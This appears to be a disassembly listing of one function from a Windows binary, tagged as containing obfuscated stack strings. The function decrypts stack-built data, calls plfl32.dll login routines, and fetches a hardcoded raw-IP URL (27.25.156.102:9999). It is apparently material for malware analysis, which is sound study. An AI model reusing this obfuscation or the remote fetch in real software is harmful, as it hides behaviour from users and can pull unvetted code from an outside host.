Function at 0x404600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40fbf4
mov eax, dword fs:[0]
push eax
mov eax, 0x1388
call fcn.0040f6e0
mov eax, dword [0x417014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push 0x100
lea eax, [ebp - 0x270]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x400
lea eax, [ebp - 0x135c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x400
lea eax, [ebp - 0xb5c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x400
lea eax, [ebp - 0xf5c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov dword [ebp - 0xe0], 0x89a63dc1
mov dword [ebp - 0xdc], 0xae739c24
mov dword [ebp - 0xd8], 0xb0763fee
mov dword [ebp - 0xd4], 0x819d1b8d
mov dword [ebp - 0xd0], 0xfe97661f
mov dword [ebp - 0xcc], 0x5fdf8a2b
mov dword [ebp - 0xc8], 0x2f662f5c
mov dword [ebp - 0xc4], 0xbbd63fcb
mov dword [ebp - 0xc0], 0xbcd86fbb
mov dword [ebp - 0xbc], 0x5d83803a
mov dword [ebp - 0xb8], 0x9253a1f1
mov dword [ebp - 0xb4], 0x5d6f6cfb
mov dword [ebp - 0xb0], 0x94daa7ed
mov dword [ebp - 0xac], 0x68724664
mov dword [ebp - 0xa8], 0x244d2964
mov dword [ebp - 0xa4], 0xca0dd712
mov dword [ebp - 0xa0], 0x6f206a19
mov dword [ebp - 0x9c], 0xed256bcd
mov dword [ebp - 0x98], 0x2b834
mov dword [ebp - 0x94], 0x82079112
mov dword [ebp - 0x90], 0x57b92387
mov dword [ebp - 0x8c], 0x2cf558f7
mov dword [ebp - 0x88], 0xd99a9c5f
mov dword [ebp - 0x84], 0x92beb111
mov dword [ebp - 0x80], 0xf186aa56
mov dword [ebp - 0x7c], 0xdef2f23b
mov dword [ebp - 0x78], 0xaf932e24
mov dword [ebp - 0x74], 0x77b80424
mov dword [ebp - 0x70], 0x2211ad84
mov dword [ebp - 0x6c], 0x6a781f91
mov dword [ebp - 0x68], 0x5b2734c6
mov dword [ebp - 0x64], 0x6d78651e
mov dword [ebp - 0x60], 0x82519dea
mov dword [ebp - 0x5c], 0x759112e8
mov dword [ebp - 0x58], 0x25dcdbd4
mov dword [ebp - 0x54], 0x2265fe08
mov dword [ebp - 0x170], 0xfad5b859
mov dword [ebp - 0x16c], 0x4dbfbc32
mov dword [ebp - 0x168], 0xad77d670
mov dword [ebp - 0x164], 0xa84faf43
mov dword [ebp - 0x160], 0xd5c54fde
mov dword [ebp - 0x15c], 0x231a0f07
mov dword [ebp - 0x158], 0xd7aeb67d
mov dword [ebp - 0x154], 0xad8f9bed
mov dword [ebp - 0x150], 0x5e3f2097
mov dword [ebp - 0x14c], 0x36591db2
mov dword [ebp - 0x148], 0xc3ad87e2
mov dword [ebp - 0x144], 0x50cb09cc
mov dword [ebp - 0x140], 0x7a60a56a
mov dword [ebp - 0x13c], 0xbf79d178
mov dword [ebp - 0x138], 0xf87d61ff
mov dword [ebp - 0x134], 0x644c05d4
mov dword [ebp - 0x130], 0x6df57064
mov dword [ebp - 0x12c], 0x1ab70943
mov dword [ebp - 0x128], 0xe0df0b8e
mov dword [ebp - 0x124], 0xe08c283c
mov dword [ebp - 0x120], 0x3cba4563
mov dword [ebp - 0x11c], 0x68b859e6
mov dword [ebp - 0x118], 0xebfc5ebe
mov dword [ebp - 0x114], 0xbfb1db15
mov dword [ebp - 0x110], 0x233c995a
mov ecx, 1
mov dword [ebp - 0x10c], 0x25d727cb
mov dword [ebp - 0x108], 0x8e11c1c8
mov dword [ebp - 0x104], 0xb3a03916
mov dword [ebp - 0x100], 0x3b8e9208
mov dword [ebp - 0xfc], 0xe0291100
mov dword [ebp - 0xf8], 0xb8991310
mov dword [ebp - 0xf4], 0x85992bab
mov dword [ebp - 0xf0], 0x85e48728
mov dword [ebp - 0xec], 0x6e828169
mov dword [ebp - 0xe8], 0x1d6819a5
mov dword [ebp - 0xe4], 0xefd018cf
mov dword [ebp - 0x20], 0xebddb8a1
mov dword [ebp - 0x1c], 0x6a006a01
mov dword [ebp - 0x18], 0x89108b02
mov dword [ebp - 0x14], 0x28428bc1
mov dword [ebp - 0x50], 0xf49b8907
mov dword [ebp - 0x4c], 0x78d0ca85
mov dword [ebp - 0x48], 0x745ff20a
mov dword [ebp - 0x44], 0x1ec012ac
mov dword [ebp - 0x40], 0x19e82e70
mov dword [ebp - 0x3c], 0xedae914e
mov dword [ebp - 0x38], 0xe38abfdb
mov dword [ebp - 0x34], 0x17ac10d2
mov dword [ebp - 0x30], 0xcf2e72fc
mov dword [ebp - 0x2c], 0x38a97926
mov dword [ebp - 0x28], 0x885201c5
mov dword [ebp - 0x24], 0xc5c74a16
call fcn.004040a0
push eax
push 0x411cbc
push 0x417cc8
call fcn.0040c430
xor ecx, ecx
call fcn.004040a0
push eax
push 0x411cbc
push 0x417bc8
call fcn.0040c3f0
add esp, 0x48
mov dword [ebp - 0x1360], 0x90
lea eax, [ebp - 0x1360]
push eax
lea eax, [ebp - 0x135c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xe0]
push 0x90
push eax
call fcn.00406f40
lea eax, [ebp - 0x1360]
mov dword [ebp - 0x1360], 0x18
push eax
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x38]
push 0x18
push eax
call fcn.00406f40
lea eax, [ebp - 0x1360]
mov dword [ebp - 0x1360], 0x90
push eax
lea eax, [ebp - 0xb5c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x170]
push 0x90
push eax
call fcn.00406f40
lea eax, [ebp - 0x1360]
mov dword [ebp - 0x1360], 0x18
push eax
lea eax, [ebp - 0xf5c]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x18
lea eax, [ebp - 0x50]
push eax
call fcn.00406f40
add esp, 0x50
lea eax, [ebp - 0xb5c]
push 0
push 0x417bc8
push eax
lea eax, [ebp - 0x270]
push eax
push 0x232a
lea eax, [ebp - 0xf5c]
push eax
call dword [sym.imp.plfl32.dll_P_LoadSystem]
test eax, eax
je 0x404ca9
push 0x417cc8
push 0x417cc8
call dword [sym.imp.plfl32.dll_P_UserLogin]
mov edi, dword [sym.imp.plfl32.dll_P_GetLoginValue]
push 1
call edi
mov esi, eax
test esi, esi
je 0x404cba
lea ecx, [ebp - 0x1368]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
push esi
lea ecx, [ebp - 0x1368]
mov dword [ebp - 4], 0
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
push 2
call edi
push eax
lea ecx, [ebp - 0x1364]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__2]
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1368]
push dword [ebp - 0x1364]
mov edi, dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__7]
push str.__ws
push eax
call edi
add esp, 0xc
cmp byte [esi], 0x52
jne 0x404b5f
cmp byte [esi + 4], 0x74
jne 0x404b5f
push 0x24
lea eax, [ebp - 0x1368]
mov dword [0x418df8], 0x24
push 0x411ccc
push eax
call edi
push 1
push str.http:__27.25.156.102:9999_style.html
lea ecx, [ebp - 0x137c]
call fcn.004039a0
add esp, 0x14
call fcn.00403530
push 0x100
lea eax, [ebp - 0x370]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x1364]
push 0
push 0x2e
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__11]
mov ecx, dword [ebp - 0x1364]
mov ecx, dword [ecx - 0xc]
sub ecx, eax
lea eax, [ebp - 0x136c]
dec ecx
push ecx
push eax
lea ecx, [ebp - 0x1364]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__9]
push eax
lea ecx, [ebp - 0x1364]
mov byte [ebp - 4], 2
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__8]
lea ecx, [ebp - 0x136c]
mov byte [ebp - 4], 1
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
push ecx
lea eax, [ebp - 0x1364]
mov ecx, esp
push eax
lea esi, [ebp - 0x370]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov ecx, esi
call fcn.004020f0
add esp, 4
lea ecx, [ebp - 0x1394]
mov eax, esi
push eax
call fcn.0040ba90
lea ecx, [ebp - 0x1394]
call fcn.004041e0
mov ecx, dword [ebp - 0x1380]
mov esi, eax
mov dword [ebp - 0x1370], edx
cmp ecx, 0x10
jb 0x404c1f
inc ecx
push ecx
push dword [ebp - 0x1394]
call fcn.0040c0e0
xor ecx, ecx
mov dword [ebp - 0x1370], esi
call fcn.004040a0
push 0x3ec
mov esi, eax
lea eax, [ebp - 0x75c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x136c], 0
lea eax, [ebp - 0x136c]
lea ecx, [ebp - 0x1370]
push eax
lea eax, [ebp - 0x75c]
push eax
push esi
call fcn.00404310
push dword [ebp - 0x136c]
lea eax, [ebp - 0x75c]
push eax
call fcn.00403390
add esp, 8
push dword [ebp - 0x1368]
push 0x409
push ebx
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
lea ecx, [ebp - 0x1364]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
lea ecx, [ebp - 0x1368]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
jmp 0x404cba
push 0x411d1c
push 0x409
push ebx
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e8e5
mov esp, ebp
pop ebp
ret